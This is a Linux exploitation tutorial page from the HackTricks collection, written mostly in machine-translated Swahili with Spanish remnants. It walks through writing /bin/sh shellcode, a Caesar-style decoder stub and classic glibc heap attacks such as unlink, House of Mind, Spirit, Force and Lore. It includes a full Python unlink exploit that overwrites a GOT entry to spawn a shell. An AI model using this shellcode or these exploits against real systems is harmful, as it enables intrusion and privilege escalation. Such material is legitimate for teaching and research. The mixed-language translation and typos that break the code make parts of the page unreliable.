hacktricks/exploiting/linux-exploiting-basic-esp/README.md

32 KiB
Raw Blame History

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

2.SHELLCODE

Angalia usumbufu wa kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; tunafuta eax
xor ebx, ebx ; ebx = 0 kwa sababu hakuna hoja ya kupitisha
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Tekeleza syscall

nasm -f elf assembly.asm —> Inatreturn .o
ld assembly.o -o shellcodeout —> Inatupa executable iliyoundwa na msimbo wa mkusanyiko na tunaweza kupata opcodes kwa objdump
objdump -d -Mintel ./shellcodeout —> Ili kuona kwamba kwa kweli ni shellcode yetu na kupata OpCodes

Kagua kwamba shellcode inafanya kazi

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Ili kuona kwamba wito za mfumo zinafanywa kwa usahihi, inapaswa kukusanywa programu ya hapo awali na wito za mfumo zinapaswa kuonekana katika strace ./PROGRAMA_COMPILADO

Wakati wa kuunda shellcodes, kuna ujanja unaoweza kufanywa. Amri ya kwanza ni jump kwa call. Call inaita msimbo wa asili na pia inaweka EIP kwenye stack. Baada ya amri ya call, tumeweka string ambayo tunahitaji, hivyo kwa EIP hiyo tunaweza kuelekeza kwenye string na pia kuendelea kutekeleza msimbo.

EJ TRUCO (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ kutumia Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Huter:

Inajumuisha msimbo mdogo unaovinjari kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa (inatafuta saini yoyote iliyowekwa kwenye shellcode). Inafaida katika hali ambapo kuna nafasi ndogo tu ya kuingiza msimbo.

Shellcodes polimórficos

Inajumuisha shells zilizofichwa ambazo zina msimbo mdogo unaozifichua na kuruka kwake, ukitumia hila ya Call-Pop hii itakuwa mfano wa kufichwa cesar:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.Métodos complementarios

Técnica de Murat

Katika linux, programu zote zinapangwa kuanzia 0xbfffffff

Kwa kuangalia jinsi stack ya mchakato mpya inavyoundwa katika linux, inaweza kuendelezwa exploit kwa njia ambayo programu itazinduliwa katika mazingira ambayo variable pekee ni shellcode. Anwani hii inaweza kisha kuhesabiwa kama: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)

Kwa njia hii, anwani ambapo kuna variable ya mazingira na shellcode inaweza kupatikana kwa urahisi.

Hii inaweza kufanywa kwa sababu kazi ya execle inaruhusu kuunda mazingira ambayo yana tu variables za mazingira zinazohitajika.

Format Strings to Buffer Overflows

The sprintf moves a formatted string to a variable. Therefore, you could abuse the formatting of a string to cause a buffer overflow in the variable where the content is copied to.
For example, the payload %.44xAAAA will write 44B+"AAAA" in the variable, which may cause a buffer overflow.

__atexit Structures

{% hint style="danger" %} Siku hizi ni ajabu sana kutumia hii. {% endhint %}

atexit() ni kazi ambayo kazi nyingine zinapewa kama vigezo. Hizi kazi zita tekelezwa wakati wa kutekeleza exit() au kurudi kwa main.
Ikiwa unaweza kubadilisha anwani ya yoyote ya hizi kazi ili kuelekeza kwa shellcode kwa mfano, utapata udhibiti wa mchakato, lakini hii kwa sasa ni ngumu zaidi.
Kwa sasa, anwani za kazi zitakazotekelezwa zime fichwa nyuma ya muundo kadhaa na hatimaye anwani ambayo inaelekeza si anwani za kazi, bali zime sifishwa kwa XOR na displacement na funguo za nasibu. Hivyo kwa sasa, vector hii ya shambulio si ya manufaa sana angalau kwenye x86 na x64_86.
Kazi ya sifisho ni PTR_MANGLE. Mifumo mingine kama m68k, mips32, mips64, aarch64, arm, hppa... hazitekelezi kazi ya sifisho kwa sababu inarudisha kile kile ilichopokea kama ingizo. Hivyo mifumo hii ingekuwa na uwezo wa kushambuliwa kupitia vector hii.

setjmp() & longjmp()

{% hint style="danger" %} Siku hizi ni ajabu sana kutumia hii. {% endhint %}

Setjmp() inaruhusu kuhifadhi muktadha (registers)
longjmp() inaruhusu kurudisha muktadha.
Register zilizohifadhiwa ni: EBX, ESI, EDI, ESP, EIP, EBP
Kinachotokea ni kwamba EIP na ESP vinapita kupitia kazi ya PTR_MANGLE, hivyo mifumo iliyo hatarini kwa shambulio hili ni ile ile ya hapo juu.
Zinatumika kwa urejeleaji wa makosa au kukatizwa.
Hata hivyo, kutokana na kile nilichosoma, register nyingine hazijalindwa, hivyo ikiwa kuna call ebx, call esi au call edi ndani ya kazi inayoitwa, udhibiti unaweza kuchukuliwa. Au unaweza pia kubadilisha EBP ili kubadilisha ESP.

VTable na VPTR katika C++

Kila darasa lina Vtable ambayo ni array ya pointers to methods.

Kila kitu cha darasa kina VPtr ambayo ni pointer kwa array ya darasa lake. VPtr ni sehemu ya kichwa cha kila kitu, hivyo ikiwa kuandika upya VPtr kunafanikiwa inaweza kubadilishwa ili ielekeze kwa njia ya dummy ili kutekeleza kazi kutakuwa na shellcode.

Medidas preventivas y evasiones

Reemplazo de Libsafe

Inawashwa kwa: LD_PRELOAD=/lib/libsafe.so.2
au
“/lib/libsave.so.2” > /etc/ld.so.preload

Inakabili simu za baadhi ya kazi zisizo salama kwa nyingine salama. Haijapangwa. (ni kwa x86 tu, si kwa makusanyo yenye -fomit-frame-pointer, si makusanyo ya kudumu, si kazi zote hatarishi zinakuwa salama na LD_PRELOAD haifanyi kazi kwenye binaries zenye suid).

ASCII Armored Address Space

Inajumuisha kupakia maktaba za pamoja kutoka 0x00000000 hadi 0x00ffffff ili kila wakati kuwe na byte 0x00. Hata hivyo, hii kwa kweli haizuizi mashambulizi yoyote, na hasa katika little endian.

ret2plt

Inajumuisha kufanya ROP kwa njia ambayo inaita kazi strcpy@plt (kutoka plt) na kuelekeza kwenye ingizo la GOT na kunakili byte ya kwanza ya kazi ambayo inataka kuitwa (system()). Kisha inafanywa vivyo hivyo ikielekeza kwenye GOT+1 na kunakili byte ya 2 ya system()… Mwishowe inaita anwani iliyohifadhiwa katika GOT ambayo itakuwa system()

Jaulas con chroot()

debootstrap -arch=i386 hardy /home/user —> Inasakinisha mfumo wa msingi chini ya subdirectory maalum

Msimamizi anaweza kutoka kwenye moja ya jaula hizi kwa kufanya: mkdir foo; chroot foo; cd ..

Instrumentación de código

Valgrind —> Inatafuta makosa
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflows: Exploits básicos

Trozo asignado

prev_size |
size | —Cabecera
*mem | Datos

Trozo libre

prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Cabecera
*mem | Datos

Vipande vya bure viko kwenye orodha ya kuunganishwa mara mbili (bin) na haviwezi kuwa na vipande viwili vya bure pamoja (vinajumuika)

Katika “size” kuna bits za kuonyesha: Ikiwa kipande cha awali kinatumika, ikiwa kipande kimepewa kupitia mmap() na ikiwa kipande kinahusiana na arena ya msingi.

Ikiwa wakati wa kuachilia kipande chochote kati ya vile vilivyo karibu kinapatikana bure, vinajumuika kupitia macro unlink() na kipande kipya kikubwa zaidi kinapelekwa frontlink() ili kiingize bin inayofaa.

unlink(){
BK = P->bk; —> BK ya kipande kipya ni ile ambayo ilikuwa na ile iliyokuwa bure kabla
FD = P->fd; —> FD ya kipande kipya ni ile ambayo ilikuwa na ile iliyokuwa bure kabla
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwa kipande kipya
BK->fd = FD; —> FD ya kipande cha awali inaelekeza kwa kipande kipya
}

Hivyo ikiwa tunafanikiwa kubadilisha P->bk kwa anwani ya shellcode na P->fd kwa anwani ya ingizo katika GOT au DTORS - 12, inafanikiwa:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Na hivyo shellcode inatekelezwa wakati wa kutoka kwenye programu.

Zaidi ya hayo, sentensi ya 4 ya unlink() inaandika kitu na shellcode inapaswa kuwa na marekebisho kwa hili:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Hii inasababisha kuandika bytes 4 kuanzia byte ya 8 ya shellcode, hivyo amri ya kwanza ya shellcode inapaswa kuwa jmp ili kuondoa hii na kuanguka kwenye nops ambazo zinaelekea kwenye sehemu nyingine ya shellcode.

Hivyo exploit inaundwa:

Katika buffer1 tunatia shellcode ikianza na jmp ili kuanguka kwenye nops au kwenye sehemu nyingine ya shellcode.

Baada ya shell code tunatia kujaza hadi kufikia uwanja prev_size na size ya kipande kinachofuata. Katika maeneo haya tunatia 0xfffffff0 (ili kuandika upya prev_size ili iwe na bit inayosema kuwa iko bure) na “-4“(0xfffffffc) katika size (ili wakati itakapokagua katika kipande cha 3 ikiwa kipande cha 2 kilikuwa bure kwa kweli kiende kwenye prev_size iliyobadilishwa ambayo itamwambia kuwa kiko bure) -> Hivyo wakati free() itakapochunguza itakwenda kwenye size ya 3 lakini kwa kweli itakwenda kwenye 2 - 4 na kufikiri kuwa kipande cha 2 kiko bure. Na kisha itaita unlink().

Wakati wa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 hivyo hapo kutakuwa na anwani unayotaka kuandika - 12 (kwa sababu katika FD->bk itazidisha 12 kwa anwani iliyohifadhiwa katika FD). Na katika anwani hiyo itatia anwani ya pili ambayo itakutana katika kipande cha 2, ambayo tunataka iwe anwani ya shellcode (P->bk bandia).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev_size) pues es ahí donde mira si el 2º trozo está libre

addr_sc = pack("<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno

got_free = pack("<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí

payload += prev_size + fake_size + got_free + addr_sc #Se modifica el 2º trozo, el got_free apunta a donde vamos a guardar la direccion addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando en sentido inverso (wargame)

Tunadhibiti vipande 3 vya mfululizo na vinachiliwa kwa mpangilio wa kinyume na ulivyoagizwa.

Katika kesi hiyo:

Katika kipande c tunatia shellcode

Kipande a tunakitumia kuandika upya b kwa njia ambayo size ina bit PREV_INUSE iliyozimwa ili kufikiri kuwa kipande a kiko bure.

Zaidi ya hayo, tunandika kwenye kichwa b size ili iwe -4.

Hivyo, programu itafikiri kuwa “a” iko bure na katika bin, hivyo itaita unlink() ili kuondoa. Hata hivyo, kama kichwa cha PREV_SIZE kina thamani -4. Itafikiri kuwa kipande cha “a” kwa kweli kinaanza katika b+4. Yaani, itafanya unlink() kwa kipande kinachoanza katika b+4, hivyo katika b+12 kutakuwa na pointer “fd” na katika b+16 kutakuwa na pointer “bk”.

Kwa njia hii, ikiwa katika bk tunatia anwani ya shellcode na katika fd tunatia anwani ya kazi “puts()”-12 tuna payload yetu.

Técnica de Frontlink

Inaitwa frontlink wakati kitu kinacholewa na hakuna kipande chake kilichokaribu ambacho hakiko bure, hakuitwi unlink() bali inaitwa moja kwa moja frontlink().

Uthibitisho wa manufaa wakati malloc inayoshambuliwa kamwe haiachiliwi (free()).

Inahitaji:

Buffer ambayo inaweza kuzidi uwezo wa kuingia data

Buffer inayokaribu na hii ambayo inapaswa kuachiliwa na ambayo itabadilishwa uwanja wa fd wa kichwa chake kwa sababu ya kujaa kwa buffer ya awali

Buffer ya kuachiliwa yenye ukubwa mkubwa zaidi ya 512 lakini mdogo kuliko buffer ya awali

Buffer iliyotangulia hatua ya 3 ambayo inaruhusu kuandika upya prev_size ya hii

Kwa njia hii, kwa kuandika upya katika mallocs mbili kwa njia isiyo ya kudhibitiwa na katika moja kwa njia ya kudhibitiwa lakini ambayo inachiliwa tu hiyo moja, tunaweza kufanya exploit.

Vulnerabilidad double free()

Ikiwa free() inaitwa mara mbili kwa pointer ile ile, kuna bins mbili zinazoelekeza kwenye anwani ile ile.

Katika kesi ya kutaka kutumia moja, itapewa bila shida. Katika kesi ya kutaka kutumia nyingine, itapewa nafasi ile ile hivyo tutakuwa na pointers “fd” na “bk” zilizopotoshwa na data ambazo zitaandikwa na uhifadhi wa awali.

After free()

Pointer iliyokuwa imeachiliwa awali inatumika tena bila udhibiti.

8 Heap Overflows: Exploits avanzados

Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().

The house of mind

Ni muhimu kuwa na simu moja ya free() ili kusababisha utekelezaji wa msimbo wa kawaida. Inahitajika kutafuta kipande cha pili ambacho kinaweza kuzidiwa na kipande cha awali na kuachiliwa.

Simu moja ya free() inasababisha kuita public_fREe(mem), hii inafanya:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kipande kinaanza (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Katika [1] inakagua uwanja wa size bit NON_MAIN_ARENA, ambayo inaweza kubadilishwa ili kuifanya ukaguzi urudishe kweli na kutekeleze heap_for_ptr() ambayo inafanya and kwa “mem” ikiacha 0 bytes 2.5 zisizo muhimu (katika kesi yetu kutoka 0x0804a000 inabaki 0x08000000) na inafikia 0x08000000->ar_ptr (kama vile ni struct heap_info)

Kwa njia hii ikiwa tunaweza kudhibiti kipande kwa mfano katika 0x0804a000 na kuna kipande kitakachochiliwa katika 0x081002a0 tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano 0x0804a000. Wakati kipande hiki cha pili kitakapochiliwa kitakuta kuwa heap_for_ptr(ptr)->ar_ptr inarudisha kile tulichoandika katika 0x08100000 (kwa sababu inatumika kwa 0x081002a0 and ambayo tuliona hapo awali na kutoka hapo inachukuliwa thamani ya bytes 4 za kwanza, ar_ptr)

Kwa njia hii inaitwa _int_free(ar_ptr, mem), yaani, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwani ni kile tunachoandika katika kipande kitakachochiliwa.

Kama inavyofafanuliwa unsorted_chunks, tunajua kwamba:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Hivyo ikiwa katika av->bins[2] tunatia thamani ya __DTOR_END__-12 katika amri ya mwisho itandikwa katika __DTOR_END__ anwani ya kipande cha pili.

Yaani, katika kipande cha kwanza tunapaswa kuweka mara nyingi anwani ya __DTOR_END__-12 kwa sababu hapo ndipo itachukuliwa na av->bins[2]

Katika anwani ambayo itakuwa anwani ya kipande cha pili na sifuri tano za mwisho tunapaswa kuandika anwani ya kipande hiki cha kwanza ili heap_for_ptr() ifikirie kuwa ar_ptr iko mwanzo wa kipande cha kwanza na kuchukua kutoka hapo av->bins[2]

Katika kipande cha pili na shukrani kwa kipande cha kwanza tunandika upya prev_size kwa jump 0x0c na size kwa kitu ili kuamsha -> NON_MAIN_ARENA

Kisha katika kipande cha 2 tunatia nops nyingi na hatimaye shellcode

Kwa njia hii itaitwa _int_free(TROZO1, TROZO2) na itafuata maagizo ya kuandika katika __DTOR_END__ anwani ya prev_size ya TROZO2 ambayo itaruka kwenye shellcode.

Ili kutumia mbinu hii inahitajika kutimizwa baadhi ya mahitaji zaidi ambayo yanakifanya payload kuwa ngumu zaidi.

Mbinu hii haiwezi kutumika tena kwani ilifanywa karibu na patch ile ile kama kwa unlink. Inalinganishwa ikiwa eneo jipya ambalo linaelekezwa pia linaelekeza kwake.

Fastbin

Ni toleo la The house of mind

Tunataka kufikia kutekeleza msimbo ufuatao ambao unafikiwa baada ya ukaguzi wa kwanza wa kazi _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Ikiwa fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Kwa njia hii ikiwa tunatia katika “fb” inatoa anwani ya kazi katika GOT, katika anwani hii itatia anwani ya kipande kilichosababisha. Ili kufanya hivyo itahitajika kuwa arena iko karibu na anwani za dtors. Kwa usahihi av->max_fast iwe katika anwani ambayo tutakuwa tukisababisha.

Kwa kuwa na The House of Mind tuliona kwamba sisi tunadhibiti nafasi ya av.

Hivyo ikiwa katika uwanja wa size tunatia ukubwa wa 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() itatreturn fastbins[-1], ambayo itakuwa inaelekeza kwa av->max_fast

Katika kesi hii av->max_fast itakuwa anwani ambayo itasababisha (siyo ile ambayo inaelekeza, bali hiyo nafasi itakuwa ile ambayo itasababisha).

Zaidi ya hayo, inapaswa kutimizwa kwamba kipande kilichokaribu na kilichochiliwa kinapaswa kuwa kikubwa zaidi ya 8 -> Kwa kuwa tumesema kwamba size ya kipande kilichochiliwa ni 8, katika kipande hiki bandia tunapaswa tu kuweka size kubwa zaidi ya 8 (kama vile shellcode itakuwa katika kipande kilichochiliwa, itabidi kuweka mwanzo jump ambayo itanguka kwenye nops).

Zaidi ya hayo, kipande hicho bandia kinapaswa kuwa kidogo kuliko av->system_mem. av->system_mem iko 1848 bytes zaidi.

Kwa sababu ya sifuri za _DTOR_END_ na anwani chache katika GOT, hakuna anwani katika sehemu hizi zinazofaa kuandikwa, hivyo tuone jinsi ya kutumia fastbin kushambulia stack.

Njia nyingine ya shambulio ni kuelekeza av kwenye stack.

Ikiwa tunabadilisha size ili iwe 16 badala ya 8 basi: fastbin_index() itatreturn fastbins[0] na tunaweza kutumia hii kuandika upya stack.

Ili kufanya hivyo, hakupaswi kuwa na canary au thamani za ajabu kwenye stack, kwa kweli tunapaswa kuwa katika hii: bytes 4 sifuri + EBP + RET

Bytes 4 sifuri zinahitajika ili av iwe katika anwani hii na kipengele cha kwanza cha av ni mutexe ambayo inapaswa kuwa 0.

av->max_fast itakuwa EBP na itakuwa thamani ambayo itatusaidia kupita vizuizi.

Katika av->fastbins[0] itasababisha na anwani ya p na itakuwa RET, hivyo itaruka kwenye shellcode.

Zaidi ya hayo, katika av->system_mem (1484bytes juu ya nafasi kwenye stack) kutakuwa na takataka nyingi ambazo zitaturuhusu kupita ukaguzi unaofanywa.

Zaidi ya hayo, inapaswa kutimizwa kwamba kipande kilichokaribu na kilichochiliwa kinapaswa kuwa kikubwa zaidi ya 8 -> Kwa kuwa tumesema kwamba size ya kipande kilichochiliwa ni 16, katika kipande hiki bandia tunapaswa tu kuweka size kubwa zaidi ya 8 (kama vile shellcode itakuwa katika kipande kilichochiliwa, itabidi kuweka mwanzo jump ambayo itanguka kwenye nops ambazo ziko baada ya uwanja wa size wa kipande bandia jipya).

The House of Spirit

Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, kwamba pointer iko kwenye stack chini ya overflow inayoweza kutokea kwa variable).

Hivyo, tunaweza kufanya pointer hii kuelekeza popote. Hata hivyo, si kila mahali ni sahihi, ukubwa wa kipande bandia unapaswa kuwa mdogo kuliko av->max_fast na kwa usahihi sawa na ukubwa unaohitajika katika simu ya baadaye kwa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer hii hatari inaitwa malloc(40), ukubwa wa kipande bandia unapaswa kuwa sawa na 48.

Ikiwa kwa mfano programu ingeuliza mtumiaji nambari, tunaweza kuingiza 48 na kuelekeza pointer ya malloc inayoweza kubadilishwa kwa bytes nne zinazofuata (ambazo zinaweza kuwa za EBP kwa bahati, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha size). Zaidi ya hayo, anwani ptr-4+48 inapaswa kutimiza masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system_mem.

Ikiwa hii itatimiza, wakati simu inayofuata ambayo tulisema ilikuwa malloc(40) itapewa kama anwani anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa katika malloc hii anaweza kuandika upya EBP na EIP kwa anwani anayotaka.

Hii nadhani ni kwa sababu wakati itakapochiliwa free() itakumbuka kwamba katika anwani ambayo inaelekeza kwa EBP ya stack kuna kipande cha ukubwa mzuri kwa malloc() mpya ambayo inataka kuhifadhiwa, hivyo inatoa anwani hiyo.

The House of Force

Inahitajika:

  • Overflow kwa kipande kinachoruhusu kuandika upya wilderness
  • Kuita malloc() kwa ukubwa ulioainishwa na mtumiaji
  • Kuita malloc() ambayo data zake zinaweza kuamuliwa na mtumiaji

Kitu cha kwanza kinachofanywa ni kuandika upya size ya kipande wilderness kwa thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa ya kutosha litashughulikiwa katika _int_malloc() bila haja ya kupanua heap

Kitu cha pili ni kubadilisha av->top ili ielekeze kwenye eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama vile stack. Katika av->top itatia &EIP - 8.

Tunapaswa kuandika upya av->top ili ielekeze kwenye eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim inachukua thamani ya anwani ya kipande cha sasa cha wilderness (av->top ya sasa) na remainder ni jumla ya anwani hiyo na idadi ya bytes zinazohitajika na malloc(). Hivyo ikiwa &EIP-8 iko katika 0xbffff224 na av->top ina 0x080c2788, basi kiasi tunachohitaji kuhifadhi katika malloc inayoweza kudhibitiwa ili av->top iwe inaelekeza kwenye $EIP-8 kwa malloc inayofuata itakuwa:

0xbffff224 - 0x080c2788 = 3086207644.

Hivyo av->top itahifadhi thamani iliyobadilishwa na malloc inayofuata itakuwa inaelekeza kwenye EIP na inaweza kuandika upya.

Ni muhimu kujua kwamba size ya kipande kipya cha wilderness ni kubwa zaidi kuliko ombi lililofanywa na malloc ya mwisho. Yaani, ikiwa wilderness inaelekeza kwa &EIP-8, size itakuwa tu katika uwanja wa EBP wa stack.

The House of Lore

Corrupción SmallBin

Vipande vilivyokuwa vimeachiliwa vinatolewa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuingizwa huwekwa katika unsorted bins. Kipande kinapokuwa kimeachiliwa hakijatiwa mara moja kwenye bin yake bali kinabaki katika unsorted bins. Kisha, ikiwa kipande kipya kinahifadhiwa na kipande cha awali kilichokuwa kimeachiliwa kinaweza kutumika, kinarejeshwa, lakini ikiwa kinahifadhiwa kikubwa zaidi, kipande kilichokuwa kimeachiliwa katika unsorted bins kinatiwa kwenye bin yake inayofaa.

Ili kufikia msimbo hatari ombi la kumbukumbu linapaswa kuwa kubwa zaidi ya av->max_fast (72 kwa kawaida) na chini ya MIN_LARGE_SIZE (512).

Ikiwa katika bin kuna kipande cha ukubwa unaofaa kwa kile kinachohitajika kinarejeshwa baada ya kuondolewa:

bck = victim->bk; Inaelekeza kwenye kipande cha awali, ni taarifa pekee ambayo tunaweza kubadilisha.

bin->bk = bck; Kipande cha pili cha mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye stack kipande kinachofuata kinachohifadhiwa kitapewa anwani hii

bck->fd = bin; Inafunga orodha ikifanya hii kuelekeza kwa bin

Inahitaji:

Kuhifadhi malloc mbili, kwa njia ambayo kipande cha kwanza kinaweza kuzidiwa baada ya kipande cha pili kuachiliwa na kuingizwa kwenye bin yake (yaani, kuhifadhi malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya overflow)

Kuhifadhi malloc ambayo inapata anwani iliyochaguliwa na mshambuliaji inapaswa kudhibitiwa na mshambuliaji.

Lengo ni lifuatalo, ikiwa tunaweza kufanya overflow kwenye heap ambayo chini yake kuna kipande kilichokuwa kimeachiliwa na katika bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na kipande hiki kinakuwa cha kwanza kwenye orodha ya bin na kinahifadhiwa, bin itadanganywa na kuambiwa kwamba kipande cha mwisho kwenye orodha (kilichofuata kutoa) kiko kwenye anwani bandia ambayo tumepatia (kwa stack au GOT kwa mfano). Hivyo ikiwa kutakuwa na kuhifadhiwa kipande kingine na mshambuliaji ana ruhusa kwake, atapewa kipande katika nafasi inayotakiwa na anaweza kuandika ndani yake.

Baada ya kuachiliwa kipande kilichobadilishwa ni muhimu kuhifadhi kipande kikubwa zaidi kuliko kilichokuwa kimeachiliwa, hivyo kipande kilichobadilishwa kitatoka kwenye unsorted bins na kuingizwa kwenye bin yake.

Mara kipande hicho kiko kwenye bin ni wakati wa kubadilisha pointer yake bk kupitia overflow ili ielekeze kwenye anwani tunayotaka kuandika.

Hivyo bin itasubiri zamu ili kuitwa malloc() mara nyingi za kutosha ili iweze kutumika tena bin iliyobadilishwa na kudanganya bin ikifanya ionekane kwamba kipande kinachofuata kiko kwenye anwani bandia. Kisha itatoa kipande ambacho kinavutia kwetu.

Ili kutekeleza udhaifu haraka iwezekanavyo, bora ingekuwa: Hifadhi kipande hatari, hifadhi kipande ambacho kitabadilishwa, achilia kipande hiki, hifadhi kipande kikubwa zaidi ambacho kitabadilishwa, badilisha kipande hicho (udhaifu), hifadhi kipande cha ukubwa sawa na kilichohatarishwa na hifadhi kipande cha pili cha ukubwa sawa na hiki kitakuwa kile kitakachoelekeza kwenye anwani iliyochaguliwa.

Ili kulinda shambulio hili, ilitumika ukaguzi wa kawaida kwamba kipande “siyo” bandia: inakagua ikiwa bck->fd inaelekeza kwa victim. Yaani, katika kesi yetu ikiwa pointer fd* ya kipande bandia inayopangwa kwenye stack inaelekeza kwa victim. Ili kupita ulinzi huu mshambuliaji anapaswa kuwa na uwezo wa kuandika kwa njia fulani (kwa stack labda) kwenye anwani sahihi anwani ya victim. Ili hivyo ionekane kama kipande halisi.

Corrupción LargeBin

Inahitaji mahitaji sawa na yale ya awali na mengine zaidi, zaidi ya hayo, vipande vilivyohifadhiwa vinapaswa kuwa vikubwa zaidi ya 512.

Shambulio ni kama la awali, yaani, inahitaji kubadilisha pointer bk na inahitaji simu zote hizo za malloc(), lakini zaidi inahitaji kubadilisha size ya kipande kilichobadilishwa ili size hiyo - nb iwe < MINSIZE.

Kwa mfano itafanya kuweka katika size 1552 ili 1552 - 1544 = 8 < MINSIZE (tofauti haiwezi kuwa hasi kwa sababu inalinganishwa na unsigned)

Zaidi ya hayo, patch imewekwa ili kufanya iwe ngumu zaidi.

Heap Spraying

